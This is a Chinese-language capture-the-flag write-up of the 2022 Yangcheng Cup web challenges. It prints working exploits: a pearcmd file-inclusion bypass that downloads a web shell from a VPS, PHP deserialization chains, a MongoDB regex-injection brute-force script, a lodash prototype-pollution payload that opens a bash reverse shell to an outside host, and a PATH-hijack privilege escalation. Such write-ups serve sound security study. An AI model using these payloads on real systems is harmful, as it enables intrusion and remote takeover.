2022羊城杯-Web | 字数总计: 2.1k | 阅读时长: 11分钟 | 阅读量:
羊城杯 [toc]
签到
E:\markdown\CTF\2022比赛\0903羊城杯>ciphey -t “ZMJTPM33ZEDJXZOMTOGQRZOETN4GPMOFZV4GPAGPZD2TRBYRZRMJXAOIZR2U2===” Possible plaintext: ‘flag{dae090f201091d2b916bd4b9da3e45a4}’ (y/N): y ╭────────────────────────────────────────────────────────────╮ │ The plaintext is a Capture The Flag (CTF) Flag │ │ Formats used: │ │ caesar: │ │ Key: 13 │ │ base32 │ │ utf8Plaintext: “flag{dae090f201091d2b916bd4b9da3e45a4}” │ ╰────────────────────────────────────────────────────────────╯
rce_me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php (empty ($_GET ["file" ])) ? highlight_file (__FILE__ ) : $file =$_GET ["file" ]; function fliter ($var ): bool { $blacklist = ["<" ,"?" ,"$" ,"[" ,"]" ,";" ,"eval" ,">" ,"@" ,"_" ,"create" ,"install" ,"pear" ]; foreach ($blacklist as $blackword ){ if (stristr ($var , $blackword )) return False; } return True; } if (fliter ($_SERVER ["QUERY_STRING" ])){ include $file ;} else { die ("Noooo0" );}
绕过stristr:
添加回车符%0a绕过检测(记得要在回车符之前转义,不然htaccess会报错),system函数内可以拼接字符串绕过
pearcmd.php文件包含,题目过滤了create和install,但是还能用download,并且对$_SERVER["QUERY_STRING"])
的过滤可以通过url编码绕过
vps上整一个1.txt
1 2 3 <?php phpinfo ();?> 下载 ?file=/usr/local/lib/php/%70 %65 %61 %72 cmd.php&+download+http:
文件包含成功,整一个一句话木马,放进2.txt
1 /usr/local/lib/php/%70 %65 %61 %72 cmd.php&+download+http:
下载远程文件2.txt
蚁剑连接,虚拟终端,经典的date提权,和蓝帽杯一样
step_by_step 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php class yang { public $y1 ; public function __construct ( ) { } public function __tostring ( ) { ($this ->y1)(); } public function hint ( ) { echo 'hint杯调用' ; include_once ('hint.php' ); if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (preg_match ("/$hey_mean_then /is" , $file )) { die ("nonono" ); } include_once ($file ); } } } class cheng { public $c1 ; public function __wakeup ( ) { $this ->c1->flag = 'flag' ; } public function __invoke ( ) { $this ->c1->hint (); } } class bei { public $b1 ; public $b2 ; public function __set ($k1 ,$k2 ) { print $this ->b1; } public function __call ($n1 ,$n2 ) { echo $this ->b1; } } $aaa = new cheng ();$bbb = new bei ();$ccc = new yang ();$ccc ->y1 = "phpinfo" ;var_dump ($ccc );$bbb ->b1 = $ccc ;$aaa ->c1 = $bbb ;echo serialize ($aaa );?>
直接查看phpinfo,就可得flag,离谱啊
safepop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <?php error_reporting (E_ALL);ini_set ('display_errors' , true );highlight_file (__FILE__ );class Fun { public function __construct ( ) { $this ->func = [new Test (),"getFlag" ]; } public function __call ($f ,$p ) { call_user_func ($this ->func,$f ,$p ); } public function __wakeup ( ) { $this ->func = '' ; die ("Don't serialize me" ); } } class Test { public function getFlag ( ) { system ("cat /flag?" ); } public function __call ($f ,$p ) { phpinfo (); } public function __wakeup ( ) { echo "serialize me?" ; } } class A { public $a ; public function __construct ( ) { $this ->a = new Fun (); } public function __get ($p ) { if (preg_match ("/Test/" ,get_class ($this ->a))){ return "No test in Prod\n" ; } return $this ->a->$p (); } } class B { public $p ; public $a ; public function __construct ( ) { $this ->a = new A (); $this ->p = "getFlag" ; } public function __destruct ( ) { $p = $this ->p; echo $this ->a->$p ; } } $aaa = new B ();echo serialize ([$aaa ,1 ]);$yyy = 'O:1:"B":2:{s:1:"p";s:3:"xxx";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:7:"phpinfo";}}}' ;$zzz = 'a:2:{i:0;O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}i:1;i:1;}' ;
注意修改O:3:"Fun":1:
为O:3:"Fun":2:
来绕过wakeup
EzNode1 dirsearch扫描,/login路由有登录界面
f12查看源码,提示用户名
使用Wappalyzer,源码为nodejs
找到一个Mongodb注入,结合regx
Mongodb注入攻击 - SecPulse.COM | 安全脉搏
HCTF2014 Writeup - SecPulse.COM | 安全脉搏
发现了一个不一样的回显,password的第一个字母为t
根据Are You Kidding Me?
结合Mongodb和regex注入攻击写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringprint (string.printable)str = string.ascii_lowercase+string.ascii_uppercase+string.digits+'~!@#$%^()_' result = '' while 1 : for i in str : data1 = "username=administrator&password[$regex]=^" + result + i print (data1) headers = {'Content-Type' :'application/x-www-form-urlencoded' } r = requests.post(url = "http://3000.endpoint-15446f1451474a1ab020eac1131fbdea.dasc.buuoj.cn:81/login" ,headers=headers,data = data1) print (len (r.text)) if r"Kidding" in r.text: print (result + i) result = result + i
回显
1 2 administrator tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w
然后输入密码,登录
/source查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 var express = require ('express' );var mongoose = require ('mongoose' );var bodyParser = require ('body-parser' );var fs = require ('fs' );var lodash = require ('lodash' );var session = require ('express-session' );var randomize = require ('randomatic' );mongoose.connect ('mongodb://localhost/ctf' , { useNewUrlParser : true }); ...... app.set ('views' , './views' ); app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static ('static' )); ...... app.get ('/' , (req, res, next ) => { if (req.session .admin === undefined || req.session .admin === null ) { res.redirect ('/login' ); } else { res.redirect ('/home' ); } }) app.all ('/login' , function (req, res ) { ...... }); app.all ('/home' , function (req, res ) { if (!req.session .admin ) { return res.redirect ('/' ); } if (req.session .data !== undefined && req.session .data !== null ) { res.render ('home.ejs' , { real_name : req.session .data .realname , age : req.session .data .age }); } else { res.render ('home.ejs' , { real_name : 'Undefined' , age : 'Undefined' }); } }); app.all ('/update' , (req, res ) => { if (!req.session .admin ) { return res.redirect ('/' ); } if (req.method == 'GET' ) { res.render ('update.ejs' ); } let data = req.session .data || {realname : '' , age : '' } if (req.method == 'POST' ) { data = lodash.merge (data, req.body ); req.session .data = data; if (req.session .data .realname ) { res.redirect ('/home' ); } } }) var server = app.listen (3000 , '0.0.0.0' , function ( ) { var host = server.address ().address ; var port = server.address ().port ; console .log ("listening on http://%s:%s" , host, port); });
lodash.merge原型链污染
找一个payload
lodash原型链污染 – View of Thai
1 2 3 4 administrator tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/7002 0>&1\"');var __tmp2" } }
使用postman发包,进行原型链污染
提权
1 2 find / -perm -u=s -type f 2 >/dev/null /home/bunny
发现/home/bunny
根据/home/bunny的回显,推测是用了id命令,想办法替换id命令
但是无论是替换,还是删除,权限都不够
后来发现,可以使用export来设置PATH的环境变量,将PATH设置为tmp目录
执行id命令的时候,会优先到tmp目录寻找并执行命令
在tmp目录下构造恶意的id命令
1 2 echo "/bin/sh" > /tmp/idchmod 777 /tmp/id
然后执行/home/bunny